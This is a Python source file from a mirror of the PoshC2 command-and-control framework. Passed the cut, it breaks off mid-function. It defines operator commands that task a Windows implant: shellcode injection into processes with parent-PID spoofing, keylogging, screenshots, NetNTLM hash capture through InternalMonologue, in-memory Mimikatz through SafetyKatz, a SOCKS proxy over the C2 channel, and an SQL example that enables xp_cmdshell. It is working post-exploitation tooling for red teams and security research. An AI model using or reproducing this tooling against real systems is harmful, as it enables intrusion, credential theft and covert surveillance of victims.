mirror of
https://github.com/nettitude/PoshC2
synced 2026-06-08 16:22:47 +00:00
4938 lines
150 KiB
Python
4938 lines
150 KiB
Python
import base64
|
|
import os
|
|
import re
|
|
import string
|
|
import subprocess
|
|
import traceback
|
|
|
|
from prompt_toolkit import PromptSession
|
|
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
|
|
from prompt_toolkit.history import FileHistory
|
|
from prompt_toolkit.styles import Style
|
|
|
|
from poshc2 import Colours
|
|
from poshc2.Utils import argp, load_file, gen_key, get_first_url, get_first_domainfront_header, get_command_word, \
|
|
command
|
|
from poshc2.client.Alias import cs_alias, cs_replace
|
|
from poshc2.client.cli.AutosuggestionAggregator import AutosuggestionAggregator
|
|
from poshc2.client.cli.CommandPromptCompleter import FilePathCompleter, FirstWordCompleter
|
|
from poshc2.client.cli.PoshExamplesAutosuggestions import AutoSuggestFromPoshExamples
|
|
from poshc2.client.command_handlers.CommandTags import Tag
|
|
from poshc2.client.command_handlers.CommonCommands import common_implant_commands, common_implant_commands_help, \
|
|
common_implant_examples, common_block_help
|
|
from poshc2.server.AutoLoads import check_module_loaded, run_sharp_autoloads
|
|
from poshc2.server.Config import PoshProjectDirectory, SocksHost, PayloadsDirectory
|
|
from poshc2.server.Config import UserAgent, PBindPipeName, PBindSecret, FCommFilePath
|
|
from poshc2.server.Core import print_bad, print_good, search_help, print_command_help, build_sharp_config
|
|
from poshc2.server.ImplantType import ImplantType
|
|
from poshc2.server.PowerStatus import get_powerstatus
|
|
from poshc2.server.database.Helpers import insert_object, select_first, get_implant, get_power_status, update_object, \
|
|
get_process_id, get_new_implant_url
|
|
from poshc2.server.database.Model import C2Server, NewTask, Implant, URL
|
|
from poshc2.server.payloads.Payloads import Payloads
|
|
|
|
commands = {}
|
|
commands.update(common_implant_commands)
|
|
commands_help = {}
|
|
commands_help.update(common_implant_commands_help)
|
|
examples = []
|
|
examples.extend(common_implant_examples)
|
|
block_help = {}
|
|
block_help.update(common_block_help)
|
|
|
|
style = Style.from_dict({
|
|
'': '#80d130',
|
|
})
|
|
|
|
autosuggester = AutoSuggestFromPoshExamples(examples)
|
|
|
|
|
|
def cs_prompt(prefix):
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/{ImplantType.SharpHttp.get_history_file()}'),
|
|
auto_suggest=AutosuggestionAggregator([AutoSuggestFromHistory(), autosuggester]),
|
|
style=style)
|
|
completions = list(commands.keys())
|
|
completions.extend(examples)
|
|
return session.prompt(f'{prefix}> ', completer=FirstWordCompleter(completions, WORD=True))
|
|
|
|
|
|
def handle_sharp_command(command, user, implant_id, command_prefix=""):
|
|
# alias mapping
|
|
for alias in cs_alias:
|
|
if alias[0] == command[:len(command.rstrip())]:
|
|
command = alias[1]
|
|
|
|
# alias replace
|
|
for alias in cs_replace:
|
|
if command.startswith(alias[0]):
|
|
command = command.replace(alias[0], alias[1])
|
|
|
|
command = command.strip()
|
|
|
|
if command_prefix and not command_prefix.endswith(" "):
|
|
command_prefix += " "
|
|
|
|
run_sharp_autoloads(command, implant_id, user, command_prefix)
|
|
command_word = get_command_word(command)
|
|
|
|
if command_word in commands:
|
|
commands[command_word](user, command, implant_id, command_prefix)
|
|
return
|
|
|
|
if command:
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Filesystem])
|
|
def do_upload_file(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Uploads a file to the server.
|
|
|
|
Hides the file by default. Execution without args will prompt with a filepath completer.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
upload-file
|
|
upload-file -source /tmp/test.exe -destination 'c:\\temp\\test.exe' -nothidden
|
|
"""
|
|
# TODO lots of common code
|
|
if command == "upload-file":
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.upload-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
source = session.prompt("Location file to upload: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*"))
|
|
source = PayloadsDirectory + source
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
while not os.path.isfile(source):
|
|
print(f"File does not exist: {source}")
|
|
source = session.prompt("Location file to upload: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*"))
|
|
source = PayloadsDirectory + source
|
|
|
|
destination = session.prompt("Location to upload to: ")
|
|
else:
|
|
args = argp(command)
|
|
source = args.source
|
|
destination = args.destination
|
|
|
|
try:
|
|
b64_destination = base64.b64encode(destination.encode("utf-8")).decode("utf-8")
|
|
print("")
|
|
print(f"Uploading {source} to {destination}")
|
|
upload_command = f"upload-file {source} {b64_destination}"
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {upload_command}" if command_prefix else upload_command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
except Exception as e:
|
|
print_bad(f"Error with source file: {e}")
|
|
traceback.print_exc()
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util, Tag.Filesystem])
|
|
def do_netstat(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Enumerates network connections.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
netstat
|
|
|
|
Examples:
|
|
netstat
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
def do_rdpconnections(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Enumerates rdp connections.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
rdpconnections
|
|
|
|
Examples:
|
|
rdpconnections
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Injection])
|
|
def do_inject_shellcode_kct(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Inject shellcode into a target process, obtaining an implant in that process using KCT injection.
|
|
|
|
Prompts for the shellcode file to use.
|
|
|
|
Can either:
|
|
* Provide an executable to start and inject into (default is c:\\windows\\system32\\msinfo32.exe),
|
|
* With an optional parent PID to spoof if starting an executable,
|
|
* Or the PID of an already running process to inject into
|
|
|
|
In either case, the ability to set the allocated memory permissions to PAGE_EXECUTE_READWRITE can be done with the rwx
|
|
argument, if the shellcode requires it (PAGE_READWRITE for writing then PAGE_EXECUTE_READ for running is used by default).
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
inject-shellcode-kct [path-to-executable-to-start] [windows name]
|
|
inject-shellcode-kct [pid] [windows name]
|
|
inject-shellcode-kct c:\\windows\\system32\\msinfo32.exe "System Information"
|
|
inject-shellcode-kct 38343 "System Information"
|
|
inject-shellcode-kct c:\\windows\\notepad.exe Notepad
|
|
|
|
"""
|
|
if command == "inject-shellcode-kct":
|
|
print_bad("\nMissing arguments!")
|
|
return
|
|
|
|
params = re.compile("inject-shellcode-kct", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.shellcode-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Location of shellcode file: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*.bin"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
try:
|
|
shellcode_file = load_file(path)
|
|
|
|
if shellcode_file is not None:
|
|
command = f"inject-shellcode-kct {base64.b64encode(shellcode_file).decode('utf-8')}{params} #{os.path.basename(path)}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
except Exception as e:
|
|
print(f"Error loading file: {e}")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Injection])
|
|
def do_inject_shellcode_syscall(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Inject shellcode into a target process, obtaining an implant in that process using direct syscalls.
|
|
|
|
Prompts for the shellcode file to use.
|
|
|
|
Can either:
|
|
* Provide an executable to start and inject into (default is c:\\windows\\system32\\searchprotocolhost.exe),
|
|
* With an optional parent PID to spoof if starting an executable,
|
|
* Or the PID of an already running process to inject into
|
|
|
|
In either case, the ability to set the allocated memory permissions to PAGE_EXECUTE_READWRITE can be done with the rwx
|
|
argument, if the shellcode requires it (PAGE_READWRITE for writing then PAGE_EXECUTE_READ for running is used by default).
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Arguments:
|
|
inject-shellcode-syscall [path-to-executable-to-start] [ppid-spoof] [rwx]
|
|
inject-shellcode-syscall [pid] [rwx]
|
|
inject-shellcode-syscall [pid]
|
|
|
|
Examples:
|
|
inject-shellcode-syscall c:\\windows\\system32\\svchost.exe 3422 rwx
|
|
|
|
"""
|
|
params = re.compile("inject-shellcode-syscall", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.shellcode-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Location of shellcode file: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*.bin"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
try:
|
|
shellcode_file = load_file(path)
|
|
|
|
if shellcode_file is not None:
|
|
command = f"Inject-ShellcodeSyscall {base64.b64encode(shellcode_file).decode('utf-8')}{params} #{os.path.basename(path)}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
except Exception as e:
|
|
print(f"Error loading file: {e}")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Injection])
|
|
def do_inject_shellcode(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Inject shellcode into a target process, obtaining an implant in that process.
|
|
|
|
Prompts for the shellcode file to use.
|
|
Can either provide an executable to run and an optional parent PID to spoof,
|
|
or the PID of an already running process.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
inject-shellcode c:\\windows\\system32\\svchost.exe <optional-ppid-spoof>
|
|
inject-shellcode <pid>
|
|
"""
|
|
params = re.compile("inject-shellcode", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.shellcode-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Location of shellcode file: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*.bin"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
try:
|
|
shellcode_file = load_file(path)
|
|
|
|
if shellcode_file is not None:
|
|
command = f"Inject-Shellcode {base64.b64encode(shellcode_file).decode('utf-8')}{params} #{os.path.basename(path)}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
except Exception as e:
|
|
print(f"Error loading file: {e}")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Injection])
|
|
def do_inject_shellcode_ctx(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Inject shellcode into a target process using a stealthy CTX process, obtaining an implant in that process.
|
|
|
|
Prompts for the shellcode file to use.
|
|
Can either provide an executable to run and an optional parent PID to spoof,
|
|
or the PID of an already running process.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
inject-shellcode-ctx c:\\windows\\system32\\svchost.exe <optional-ppid-spoof>
|
|
inject-shellcode-ctx <pid>
|
|
"""
|
|
params = re.compile("inject-shellcode-ctx", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.shellcode-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Location of shellcode file: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*.bin"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
try:
|
|
shellcodefile = load_file(path)
|
|
|
|
if shellcodefile is not None:
|
|
command = f"Inject-ShellcodeCTX {base64.b64encode(shellcodefile).decode('utf-8')}{params} #{os.path.basename(path)}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
except Exception as e:
|
|
print(f"Error loading file: {e}")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util])
|
|
def do_kill_implant(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Terminates this implant and hides it from the ImplantHandler list.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
kill-implant
|
|
"""
|
|
implant_details = get_implant(implant_id)
|
|
print_bad(
|
|
"**OPSEC Warning** - kill-implant terminates the current thread not the entire process, if you want to kill the process use kill-process")
|
|
ri = input(f"Are you sure you want to terminate the implant ID {implant_details.numeric_id}? (Y/n) ")
|
|
|
|
if ri == "" or ri.lower() == "y":
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} exit" if command_prefix else "exit",
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.alive: "No"}, {Implant.id: implant_id})
|
|
else:
|
|
print("Implant not terminated")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.SOCKS, Tag.Lateral_Movement])
|
|
def do_sharpsocks(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Starts the SharpSocks SOCKS Proxy.
|
|
|
|
Provides a one-liner for the operator to run to launch the SharpSocks server.
|
|
Once running, the implant will then connect to the server and traffic can be
|
|
proxied via the C2 channel on local port 43334.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sharpsocks
|
|
"""
|
|
from random import choice
|
|
|
|
channel = "".join(choice(string.ascii_letters) for _ in range(25))
|
|
sharp_key = gen_key().decode("utf-8")
|
|
default_sharp_urls = select_first(C2Server.socks_urls)
|
|
urls_prompt = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.comma-separated-urls-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
socks_proxy_urls = urls_prompt.prompt(
|
|
f"What URIs would you like to use for SharpSocks? Default is {default_sharp_urls.replace(' ', '')}: ")
|
|
|
|
if not socks_proxy_urls:
|
|
socks_proxy_urls = default_sharp_urls
|
|
|
|
socks_proxy_urls = socks_proxy_urls.split(",")
|
|
|
|
if len(socks_proxy_urls) < 2:
|
|
print("Please specify at least two URIs")
|
|
return
|
|
|
|
socks_proxy_urls = [i.replace("\"", "").strip() for i in socks_proxy_urls]
|
|
socks_proxy_urls = [(i[1:] if i.startswith("/") else i) for i in socks_proxy_urls]
|
|
|
|
default_sharp_url = select_first(C2Server.payload_comms_host).replace('"', '').split(',')[0]
|
|
domains_prompt = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.protocol-and-domain-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
sharp_url = domains_prompt.prompt(
|
|
f"What domain would you like to use for SharpSocks? Default is {default_sharp_url}: ")
|
|
|
|
if not sharp_url:
|
|
sharp_url = default_sharp_url
|
|
|
|
if not sharp_url.startswith("http"):
|
|
print("Please specify a protocol (http/https)")
|
|
return
|
|
|
|
default_host_header = get_first_domainfront_header(select_first(C2Server.domain_front_header))
|
|
host_headers_prompt = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.host-headers-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
host_header = host_headers_prompt.prompt(f"What host header should used? Default is {default_host_header}: ")
|
|
|
|
if not host_header:
|
|
host_header = default_host_header
|
|
|
|
default_web_proxy = ""
|
|
web_proxy_prompt = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.proxy-history-answer'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
web_proxy = web_proxy_prompt.prompt(f"Would you like to use an HTTP web proxy? Default is No (y/N): ")
|
|
|
|
if web_proxy:
|
|
default_web_proxy = "--use-proxy "
|
|
web_proxy_destination_prompt = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.proxy-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
web_proxy_destination = web_proxy_destination_prompt.prompt(
|
|
f"What is the address of the HTTP web proxy (Proxy Url in format http://<server>:<port>)? Default is System wide proxy: ")
|
|
|
|
if not web_proxy_destination:
|
|
web_proxy_destination = default_web_proxy
|
|
else:
|
|
default_web_proxy += f"-m {web_proxy_destination} "
|
|
web_proxy_username_prompt = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.proxy-username'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
web_proxy_username = web_proxy_username_prompt.prompt(
|
|
f"What username would you like SharpSocks to use for authentication? ")
|
|
|
|
if web_proxy_username:
|
|
default_web_proxy += f"-u {web_proxy_username} "
|
|
web_proxy_domain_prompt = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.proxy-password'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
web_proxy_domain = web_proxy_domain_prompt.prompt(
|
|
f"What domain name would you like SharpSocks to use for authentication? ")
|
|
|
|
if not web_proxy_domain:
|
|
print("Please specify a domain for the username you provided")
|
|
return
|
|
else:
|
|
default_web_proxy += f"-d {web_proxy_domain} "
|
|
|
|
web_proxy_password_prompt = PromptSession(
|
|
history=FileHistory(f'{PoshProjectDirectory}/.proxy-password'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
web_proxy_password = web_proxy_password_prompt.prompt(
|
|
f"What password would you like SharpSocks to use for authentication? ")
|
|
|
|
if not web_proxy_password:
|
|
print("Please specify a password for the username you provided")
|
|
return
|
|
else:
|
|
default_web_proxy += f"-p {web_proxy_password} "
|
|
|
|
default_user_agent = select_first(C2Server.user_agent)
|
|
user_agent_prompt = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.user-agents-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
user_agent = user_agent_prompt.prompt(
|
|
f"What user agent would you like SharpSocks to use? Default is \"{default_user_agent}\": ")
|
|
|
|
if not user_agent:
|
|
user_agent = default_user_agent
|
|
|
|
default_beacon = "200"
|
|
beacon_prompt = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.beacon-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
beacon = beacon_prompt.prompt(
|
|
f"What beacon interval would you like SharpSocks to use (ms)? Default: {default_beacon}ms: ")
|
|
|
|
if not beacon:
|
|
beacon = default_beacon
|
|
|
|
if beacon.strip().endswith("ms"):
|
|
beacon = beacon.replace("ms", "").strip()
|
|
|
|
server_command = f"./SharpSocksServer -c={channel} -k={sharp_key} -l={SocksHost} -v"
|
|
|
|
if " -v" in command or " --verbose" in command:
|
|
server_command += " --verbose"
|
|
|
|
server_command += "\n"
|
|
print(
|
|
Colours.GREEN + "\nOk, run this command from your SharpSocksServer directory to launch the SharpSocks server:\n")
|
|
print(server_command)
|
|
|
|
task = f"run-exe SharpSocksImplant.Program SharpSocksImplant {default_web_proxy} -s {sharp_url} -c {channel} -k {sharp_key} -url1 {socks_proxy_urls[0]} -url2 {socks_proxy_urls[1]} -b {beacon} -r {beacon} --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken --user-agent \"{user_agent}\""
|
|
|
|
if host_header:
|
|
task += f" -df {host_header}"
|
|
|
|
extra_args = command.replace("sharpsocks", "").strip()
|
|
|
|
if extra_args:
|
|
task += " " + extra_args
|
|
|
|
confirm = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
|
|
|
|
if confirm == "" or confirm.lower() == "y":
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {task}" if command_prefix else task,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
else:
|
|
print("Aborted...")
|
|
return
|
|
|
|
print("SharpSocks task issued, to stop SharpSocks run stop-socks")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering])
|
|
def do_stop_keystrokes(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Stops the keylogger from logging any more keystrokes.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
stop-keystrokes
|
|
"""
|
|
command = f"run-exe Logger.KeyStrokesClass Logger {command}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.label: ""}, {Implant.id: implant_id})
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering])
|
|
def do_start_keystrokes(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Starts the keylogger.
|
|
|
|
Note that the implant must be running as the user that is intended to be keylogged.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
start-keystrokes
|
|
"""
|
|
check_module_loaded("Logger.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = f"run-exe Logger.KeyStrokesClass Logger {command}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.label: "KEYLOG"}, {Implant.id: implant_id})
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering])
|
|
def do_get_keystrokes(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets the logged keystrokes from the keylogger.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-keystrokes
|
|
"""
|
|
command = f"run-exe Logger.KeyStrokesClass Logger {command}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering])
|
|
def do_stop_multi_screenshot(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Stops an existing get-multi-screenshot task.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
stop-multi-screenshot
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.label: "SCREENSHOT - Stopped"}, {Implant.id: implant_id})
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering])
|
|
def do_get_multi_screenshot(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets multiple screenshots over a defined period, one screenshot per beacon.
|
|
|
|
Run stop-multi-screenshot to stop the task early.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-multi-screenshot 2m
|
|
"""
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.label: "SCREENSHOT"}, {Implant.id: implant_id})
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering])
|
|
def do_get_screenshot(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Gets a screenshot of the current desktop across all displays.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-screenshot
|
|
"""
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering])
|
|
def do_stop_powerstatus(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Stops PowerStatus monitoring.
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
stop-powerstatus
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.label: ""}, {Implant.id: implant_id})
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering, Tag.Credential_Harvesting])
|
|
def do_get_hash(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
Runs InternalMonologue to get the NetNTLMv2 hash of the current user.
|
|
|
|
If elevated, will return NetNTLMv1 through changing registry keys (an IOC).
|
|
|
|
https://github.com/eladshamir/Internal-Monologue
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
get-hash
|
|
"""
|
|
check_module_loaded("InternalMonologue.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = "run-exe InternalMonologue.Program InternalMonologue"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_sqlquery(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
SQL Query
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
sqlquery server=localhost
|
|
sqlquery server=localhost username=sa password=sa
|
|
sqlquery server=localhost port=5555 username=sa password=sa database=Master
|
|
sqlquery server=localhost port=5555 username=sa password=sa catalogue=Master
|
|
sqlquery connectionstring="Server=127.0.0.1:1433;Database=MYDB;Initial Catalog=Master;Integrated Security=True;" query="SELECT suser_name();"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT suser_name();"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT @@version;"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT suser_name();"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT user;"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT user_name();"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="EXEC sp_databases;"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT * from sysobjects where xtype='u';"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT name from DBNAME..sysobjects where xtype='u';"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT * FROM databaseName.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="SELECT * FROM sys.sql_logins;"
|
|
sqlquery server=localhost port=5555 username=sa password=sa query="EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
|
|
|
|
"""
|
|
command = command.replace("sqlquery", "run-exe SQLQuery.Program SQLQuery")
|
|
check_module_loaded("SQLQuery.exe", implant_id, user, load_module_command=command_prefix)
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Data_Gathering, Tag.Credential_Harvesting])
|
|
def do_safetykatz(user, command, implant_id, command_prefix=""):
|
|
"""
|
|
[Requires Elevation]
|
|
Runs SafetyKatz for running Mimikatz in memory.
|
|
|
|
https://github.com/GhostPack/SafetyKatz
|
|
|
|
MITRE TTPs:
|
|
{}
|
|
|
|
Examples:
|
|
safetykatz minidump
|
|
safetykatz full
|
|
"""
|
|
check_module_loaded("SafetyKatz.exe", implant_id, user, load_module_command=command_prefix)
|
|
command = f"run-exe SafetyKatz.Program {command}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=f"{command_prefix} {command}" if command_prefix else command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, tags=[Tag.Util, Tag.Comms])
|
|
def do_enable_rotation(user, command, implant_id, command_prefix=""):
|
